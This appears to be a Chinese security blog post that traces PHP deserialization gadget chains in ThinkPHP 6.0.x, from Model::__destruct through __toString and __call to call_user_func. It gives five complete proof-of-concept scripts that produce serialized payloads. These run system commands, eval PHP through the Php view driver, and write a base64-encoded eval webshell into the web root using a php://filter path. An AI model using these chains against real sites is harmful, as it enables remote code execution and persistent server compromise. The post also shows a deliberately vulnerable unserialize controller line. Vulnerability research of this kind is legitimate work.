Web / 反序列化 · 2021年11月29日 0

ThinkPHP6.0.x反序列化利用链挖掘

安装

查看tp官方文档:https://www.kancloud.cn/manual/thinkphp6_0/1037481

执行下面这条命令:

composer create-project topthink/think tp

然后在index控制器下写入一条反序列化的代码

@unserialize(base64_decode($_POST['data']));

POC0

反序列化利用链通常以__destruct()方法作为起点,在ThinkPHP5中通常使用的是think\process\pipes\Windows类的__destruct()方法,而在ThinkPHP6中移除了think\process\pipes\Windows类,但__toString方法后的链依然存在,所以首先需要找到一个可用的__destruct()方法。

__destruct()方法

首先全局搜索__destruct()方法,这里选择think\Model类的__destruct()方法作为起点。在这里需要注意think\Model类是抽象类,需要找到它的一个子类进行实例化,这里选择的是think\model\Pivot类。

__destruct()方法中,当满足$this->lazySave==true时,可以进到$this->save()方法

image-20211127231816723

然后跟进$this->save()方法。

image-20211127232359351

在下断点的地方通过控制$this->exists调用到$this->updateData()方法或$this->insertData($sequence)方法。但在这之前要过了前面的一段if判断,这里只要使得$this->data为空,$this->withEvent为false就可以通过这个判断。然后控制$this->exists = false==false进入到$this->insertData($sequence)中。

再继续分析$this->insertData($sequence)

image-20211127233525717

这前面的代码都可以过掉,然后可以调用到$this->checkAllowFields()方法,接着继续分析$this->checkAllowFields()方法

image-20211127234325277

这里只要满足$this->field$this->schema都为空就可以调用到$this->db()方法

image-20211127234357579

然后在$this->db()方法中对$this->table$this->suffix进行了字符串拼接,只要将$this->table$this->suffix赋值为某个类就可以调用到目标类的__toString()方法,接着就可以找__toString()方法的利用链了。

__toString()方法

然后全局搜索__toString()方法,在think\model\concern\Conversion这个Trait中找到__toString()方法,然后在think\Model类中使用了这个Trait。

image-20211129173420552

__toString()方法中调用了$this->toJson()方法,接着调用了$this->toArray()方法

image-20211129180418147

$this->toArray()中有一段代码遍历了$this->data然后将$key传入了$this->getAttr()方法中,然后查看$this->getAttr()方法

image-20211129180758776

在这里调用了$this->getValue()方法,传入的参数中$value参数由$this->getData($name);控制,然后再查看$this->getData()方法

image-20211129180951802

在这里有通过$this->getRealFieldName()方法获取到$fieldName参数,然后判断$this->data中是否存在这个$key,然后从$this->data取出对应的$value进行return

image-20211129181246230

$this->getRealFieldName()方法中可以控制它返回传入的$name参数,而$name参数实际是前面传入的$key的值,因此是可控的,而$this->data也是可控的,所以$this->getData()方法返回的$value值是可控。接着可以查看$this->getValue()方法。

image-20211129201215539

$this->getValue()方法中通过$this->withAttr[$fieldName]获取了$closure的值,然后动态调用了$closure这个函数,并传入了$value作为参数。于是这里只要控制$closure的值为system,$value的值为system函数的参数就可以执行命令。$value的值是由前面的$this->data[$fieldName]进行控制的,$closure的值是由$this->withAttr[$fieldName]控制的,完整的POC如下:

<?php
namespace think\model\concern;
trait Attribute
{
    private $data = ["key" => "id"];
    private $withAttr = ["key" => "system"];
}
namespace think;
abstract class Model
{
    use model\concern\Attribute;
    private $lazySave=true;
    protected $withEvent=false;
    private $exists=false;
    private $force=true;
    protected $table;
    function __construct($obj = '')
    {
        $this->table = $obj;
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{

}
$a = new Pivot();
$b = new Pivot($a);

echo base64_encode(serialize($b));

TP6.0.9 POC1

在TP6.0.9 版本中上面这条链是用不了的,在最终执行代码的地方会验证$closure instanceof \Closure直接传入system无法执行代码

$closure = $this->withAttr[$fieldName];
if ($closure instanceof \Closure) {
    $value = $closure($value, $this->data);
}

不过在前面存在一处$this->getJsonValue()方法

image-20211129211901864

$this->getJsonValue()方法中存在一处动态调用,方法名和参数都可控,仍然可以用与执行代码

image-20211129212007714

POC1如下:

<?php
namespace think\model\concern;
trait Attribute
{
    private $data = ["key" => ["id"]];
    private $withAttr = ["key" => ["system"]];
    protected $jsonAssoc = true;
    protected $json = ["key"];
}
namespace think;
abstract class Model
{
    use model\concern\Attribute;
    private $lazySave=true;
    protected $withEvent=false;
    private $exists=false;
    private $force=true;
    protected $table;
    function __construct($obj = '')
    {
        $this->table = $obj;
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{

}
$a = new Pivot();
$b = new Pivot($a);

echo base64_encode(serialize($b));

TP6.0.9 POC2

这条链是依然是将think\Model类的__destruct()方法作为起点

toArray()方法

在第一条链的$this->toArray()方法中存在一处$this->appendAttrToArray()方法

image-20211129213934226

然后查看$this->appendAttrToArray()方法:

image-20211129214230396

在这里的$relation是由我们可控的,这里执行了$relation->append()方法,可以调用到某些类的__call()方法

__call()方法

然后全局搜索__call()方法,在think\log\ChannelSet类中找到__call()方法可以控制另一个__call()方法传入的参数

image-20211129214915469

而在另一处think\Validate类中的__call()方法,将传入参数传入$this->is()方法

image-20211129215046166

然后再查看$this->is()方法

image-20211129215159215

在这里有一处将我们刚刚传入的参数传给了call_user_func函数作为参数,而调用的函数正好是可控的,将这两处__call()方法结合起来正好就能调用任意函数执行命令

POC2如下:

<?php
namespace think;
class Validate{
    protected $type = [];
    public function __construct(){
        $this->type["channel"] = "system";
    }
}
namespace think\log;
use think\Validate;
class ChannelSet{
    protected $log;
    protected $channels;
    public function __construct(){
    	$this->log = new Validate();
    	$this->channels = ["id"];
    }
}
namespace think\model\concern;
trait RelationShip{
    private $relation;
}
trait Attribute{
    private $data;
}
namespace think;
use think\model\concern\RelationShip;
use think\log\ChannelSet;
use model\concern\Attribute;
abstract class Model{
    private $lazySave=true;
    private $exists=false;
    public $table;
    protected $visible = ["a"];
    protected $append = ["key"=>"value."];

    public function __construct($a = ""){
        $this->data = ["a"];
        $this->table =$a;
        $this->relation = ["value"=>new ChannelSet()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{

}
$a = new Pivot();
$b = new Pivot($a);
echo base64_encode(serialize($b));

TP6.0.9 POC3

上一条利用链可以调用任意函数且参数可控,也能调用类中的方法,然后在think\view\driver\Php类中的display()方法中使用eval执行PHP代码,可以控制call_user_func()函数调用该方法执行PHP代码

image-20211129215954623

POC3如下:

<?php
namespace think\view\driver;
class Php{

}
namespace think;
use think\view\driver\Php;
class Validate{
    protected $type = [];
    public function __construct(){
        $this->type["channel"] = [new Php(),"display"];
    }
}
namespace think\log;
use think\Validate;
class ChannelSet{
    protected $log;
    protected $channels;
    public function __construct(){
    	$this->log = new Validate();
    	$this->channels = ["<?php phpinfo();die(); ?>"];
    }
}
namespace think\model\concern;
trait RelationShip{
    private $relation;
}
trait Attribute
{
    private $data;
}
namespace think;
use think\model\concern\RelationShip;
use think\log\ChannelSet;
use model\concern\Attribute;
abstract class Model{
    private $lazySave = true;
    private $exists = false;
    public $table;
    protected $visible = ["a"];
    protected $append = ["key"=>"value."];

    public function __construct($a = ""){
        $this->data = ["a"];
        $this->table =$a;
        $this->relation = ["value"=>new ChannelSet()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{

}
$a = new Pivot();
$b = new Pivot($a);
echo base64_encode(serialize($b));

TP6.0.9 POC4

在TP5中如果能调用__call()方法就能从think\console\Output类中的write()方法最终调用到File类的set()方法写马。但在TP6.0.9中的write()方法中对传入的参数的类型有进行限制,不能再以think\session\driver\Cache类作为跳板调用set()方法

2

image-20211129224341414

不过还有一条链可以写马

League\Flysystem\Cached\Storage\AbstractCache这个抽象类中存在__destruct()方法调用了$this->save()方法

image-20211129222609098

$this->save()方法存在于某个接口中,没有实现。于是可以全局搜索继承AbstractCache的子类。

image-20211129222955503

在这里的think\filesystem\CacheStore类中实现了save()方法,其中$contents可控,不过经过了一次json_encode,然后这里将这三个参数传入了$this->store->set()方法,然后就可以调用到File类的set()方法写马

POC4如下:

<?php
namespace think\cache;
abstract class Driver{}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
    protected $options;
    public function __construct(){
    	$this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => "php://filter/convert.base64-decode/resource=/var/www/html/public",
        'path'          => '',
        'hash_type'     => 'md5',
        'data_compress' => false,
        'tag_prefix'    => 'tag:',
        'serialize'     => ["serialize"],
    ];
    }
}
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache{
    protected $autosave = false;
    protected $cache = [];
    protected $complete = [];
}
namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache{
    protected $key;
    protected $store;
    public function __construct(){
        $this->key = "123";
        $this->store=new File();
        $this->complete="PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbCJdKTsgPz4=";
    }
}
$a = new CacheStore();
echo base64_encode(serialize($a));